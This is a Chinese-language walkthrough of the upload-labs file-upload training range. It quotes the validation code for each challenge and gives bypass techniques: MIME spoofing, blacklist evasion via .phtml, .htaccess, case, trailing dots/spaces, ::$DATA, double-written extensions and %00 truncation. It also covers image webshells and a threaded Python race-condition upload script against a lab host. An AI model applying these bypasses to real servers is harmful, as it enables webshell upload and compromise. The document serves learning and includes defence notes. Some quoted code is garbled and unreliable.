文件上传漏洞靶场
首先进行梳理有哪些防御的方式
前端防御
1.js判断上传文件的后缀名
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value; //返回其中的文件名
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;}
c1通过bp截断或者直接删除js代码都可以对其进行绕过
但是并不知道如何进行拦截 修改js代码是行不通的,因为js代码在修改之前已经运行了
直接禁用js是可以进行使用的,但是删除js和修改js是一样的不起作用
解决的方法
1.直接禁止js代码
about:config 当中 JavaScript:enable 设置为False
2.利用fiddler
截取响应包之后对响应包进行修改
因为每一次加载的js代码都是从服务器端拿的,修改之后刷新就又从服务器那里拿了
3.使用burpsuite把请求包的数据改为php就行了 之前一直没想到,只想到bp不能拦截回复的包
如何进行防御
在前端js设置只能是防止用户的不小心,绝对是无可能防御危险的用户有意的操作
后端防御
2.MIME文件类型
$_FILE[文件名]['type'] 和 content-type 一一进行对应
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
解决的方法
c2只是对upload文件的type进行了判断,这里的这个数值就是 content-Type
在发送的时候拦截请求对其中的数据进行修改就能够绕过
如何进行防御
对文件的content-type进行校验,类似于前端,只要用户可以控制改变的都是不可以相信的
服务器后缀名单
3.服务器对后缀名黑名单
一个黑名单的示例
$is_upload = false ;
$msg =null ;
$filename = $_FILES[''upload_file']['name'];
$deny_arr = array("php","asp");
$filename = trim($filename);
$fileext= strrchr($filename,'.') //返回后面的数据
$fileext = trim($filename);
if(! in_array($fileext,$deny_arr)){
$tmp_file = $_FILE['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}}
如何绕过
使用最简单的方法,一般来说存在其他的后缀也可以进行解析,比如 .phtml .php5 .php7 都可以进行解析
如何防御
把拒绝的名单进行升级,对一些可以进行解析的后缀加入其中
4.升级的黑名单
<?php
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
if($i == strlen($s)-1 and $c != '.'){
return $s;
}
if($c != '.'){
return substr($s,0,$i+1);
}
}
}
$s = "a.php";
$deny_ext=array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($s);//除去首尾的空格符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//查找指定字符在自读当中的最后一次出现
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
echo $file_ext."<br>";
if (in_array($file_ext,$deny_ext)){
echo "no";
}else
{
echo "suzz";
}
绕过的方法
在代码当中c4是过滤名单当中没有.htaccess文件,从而造成了上传htaccess文件和jpg文件进行解析
如何进行防御
在黑名单当中加入该后缀的文件,使得不能上传htaccess文件,或者关闭htaccess文件的解析功能
c5
原因:
strtolower($file_ext);
绕过:注意使用大小写混用也可以进行绕过
c6
原因:
$file_ext = trim($file_ext);
绕过:文件后缀名之后加上空格符,后缀名之后的空格符没有在黑名单当中所以可以进行绕过
c7
原因:
$file_name = deldot($file_name);
绕过:没有对末尾的.进行过滤,那么末尾如果有一个.也是可以进行的
实际测试当中linux也是可以正常进行解析的
在windwos当中会对最后的.进行设忽略,最后上传的文件末尾结尾不是.号
c8
配合了windows的流
windwos DATA流
简而言之在windwos当中如果末尾是$DATA的话,一样的可以进行解析,如果是通过文件名的话,那么结尾是可以进行绕过的
原因
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
解决的方法 在文件名的末尾增加一个后缀 $DATA,能绕过黑名单
c9
发现我们删除.的函数是不是递归进行删除的
所以我们要做的就是通过bp修改文件名上传一个文件
其中的文件名的命名为
a.php. .
记住两个.之间一定要存在一个空格,这样上传的文件经过去掉.之后还是可以成功进行解析的,判断的黑名单为.也可以成功进行绕过
c10
双写进行绕过
对其中的文件名当中的部分名称进行了替换,只要双写就能够成功绕过
a.pphphp
建议 双写还是应该使用递归,重复进行双写检验,开发的时候应该写一个whille语句,一直直到某个条件满足的时候才不进行检验
5.服务器对后缀名白名单
c11
白名单
绕过的方法是%00截断
看这里对我们上传的文件夹的位置可以自我可控
所以在这里我们在bp抓包当中使用%00截断的方法上传我们的文件
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态
在文件名之后添加%00就可以让我们绕过检测
原理相见文件解析漏洞
如何进行绕过
在这个挑战当中存在一个apache的00截断的cve
详细见基础
防范的方法
不要相信从用户端来的任何信息进行处理
关于上传中的00截断分析
c12
和c11的方法一样,只不过c11的方法是GET得到数据,而c12是post的方式得到数据
上传数据
使用post方法进行提交需要修改其中的二进制位
如此上传之后上传成功
看的数据还是%00
c13 图片马
$bin = fread($file, 2); //只读2字节 fclose($file);
$strInfo = @unpack("C2chars", $bin);
unpack就是使用二进制读取其中的数据
只是对文件的前两个字节进行校验来判断文件的类型,所以如果存在图片马的话,只通过文件当中的二进制进行校验一部分是不能判断的 同时存在现象,当一个文件的后缀名得到更改之后还是可以继续上传的
c14
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]); //取得图像类别文件的后缀 (二进制的形式 )
if(stripos($types,$ext)>=0){ //判断后缀和实际的文件后缀是否是相同的
return $ext;
}else{
return false;
}
}else{
return false;
}
使用普通的文件马一样可以进行绕过
c15
$image_type = exif_imagetype($filename);
switch ($image_type) { //使用exif判断文件的类型 从图像信息当中读取exif头的信息
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
同样的一句话木马
c16
还是一样的一句话木马
有一个重新渲染的方法,上传倒是能够上传成功,但是上传成功之后数据却不能得到实现了
绕过的方法 通过使用二次对比的方式看看经过二次渲染当中没有变化的部分,往其中填入数据
使用的方法 找到一个可以绕过二次渲染的gif,使用这个gif进行上传文件(gif的本质其实也是从二次渲染之后的图像进行对比完成得到的)
gif地址 https://www.secgeek.net/POC/POC.gif
链接 https://secgeek.net/bookfresh-vulnerability/
c17
条件竞争漏洞
条件竞争的利用代码
<?php fputs(fopen("info.php", "w"), "<?php phpinfo(); ?>"); ?>
链接
https://seaii-blog.com/index.php/2017/04/26/49.html
当我们上传shell的时候,会被删除,那么在识别到被删除之前访问该shell,shell的目的是往服务器当中写进去真正的shell
python 利用脚本
#!/usr/bin/env python# coding:utf-8
import requestsimport hackhttp
from multiprocessing.dummy
import Pool as ThreadPool
def upload(lists):
hh = hackhttp.hackhttp()
h = hackhttp.hackhttp()
raw = """POST /Pass-17/index.php HTTP/1.1Host: 192.168.1.131User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101
Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.1.131/Pass-17/index.phpCookie: pass=17Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data;
boundary=---------------------------6696274297634Content-Length: 341-----------------------------6696274297634Content-Disposition: form-data; name="upload_file"; filename="17.php"Content-Type: application/octet-stream<?php file_put_contents("info.php","<?php phpinfo();?>");?>-----------------------------6696274297634Content-Disposition: form-data; name="submit"上传-----------------------------6696274297634--"""
code, head, html, redirect, log = hh.http('http://192.168.1.131/Pass-17/index.php', raw=raw)
print(str(code) + "\r")
code, head, html, redirect, log =h.http('http://192.168.1.131/upload/17.php')
print(str(code)+ "\r")
pool = ThreadPool(10)pool.map(upload, range(10000))
pool.close()
pool.join()
条件竞争的利用脚本使用hackhttp进行发包,然后使用线程进行访问
c18
和c17大体是一样的,但是和之前的相比来说多了一个更改文件名的操作
可以使用竞争漏洞配合apache的解析漏洞也可
尝试了之后的确没有绕过
c19
图片马上传 00截断绕过
使用pathinfo函数进行对文件的结尾判断
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
c20
refer
https://p2hm1n.com/2019/07/30/Upload-labs-Writeup/#%E4%BA%8C%E6%AC%A1%E6%B8%B2%E6%9F%93%EF%BC%9F